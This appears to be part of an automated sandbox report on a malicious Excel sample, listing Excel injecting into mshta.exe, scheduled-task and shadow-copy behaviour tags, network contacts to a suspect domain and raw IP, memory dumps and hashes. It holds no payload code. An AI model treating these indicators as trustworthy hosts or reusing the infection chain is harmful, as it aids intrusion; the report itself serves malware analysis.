| PID 2204 wrote to memory of 4168 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 2204 wrote to memory of 4168 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.115:80 | e6.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.108.45.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 115.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.143.182.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.163.202.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.173.189.20.in-addr.arpa | udp |
Files
memory/2204-1-0x00007FFCDE7ED000-0x00007FFCDE7EE000-memory.dmp
memory/2204-0-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp
memory/2204-3-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp
memory/2204-5-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp
memory/2204-2-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp
memory/2204-4-0x00007FFC9E7D0000-0x00007FFC9E7E0000-memory.dmp
memory/2204-6-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-8-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-11-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-10-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-9-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-12-0x00007FFC9BE70000-0x00007FFC9BE80000-memory.dmp
memory/2204-7-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-13-0x00007FFC9BE70000-0x00007FFC9BE80000-memory.dmp
memory/2204-15-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-16-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-14-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-18-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-20-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-19-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-17-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/4168-38-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/4168-43-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/4168-44-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-46-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/2204-47-0x00007FFCDE7ED000-0x00007FFCDE7EE000-memory.dmp
memory/4168-51-0x00007FFCDE750000-0x00007FFCDE945000-memory.dmp
memory/4168-52-0x00007FF7DFF10000-0x00007FF7DFF18000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | d744c33069f8de762686ffbf38697618 |
| SHA1 | 93e9a5b88ce1bc8ba65d1745b422e055b7dbd2a6 |
| SHA256 | 8bede850cecee79ceee16b9e3962a9f32ea091fdaea88348a00c3adcfe840e32 |
| SHA512 | f3aa82ef84d6afb9c6afdc37ddcc16d645aec1c11160f189541c219085a92e52b3c4783e8047d6c9a594d22570f21970ea2c359ad2a47ec6ac0fa32206fdf008 |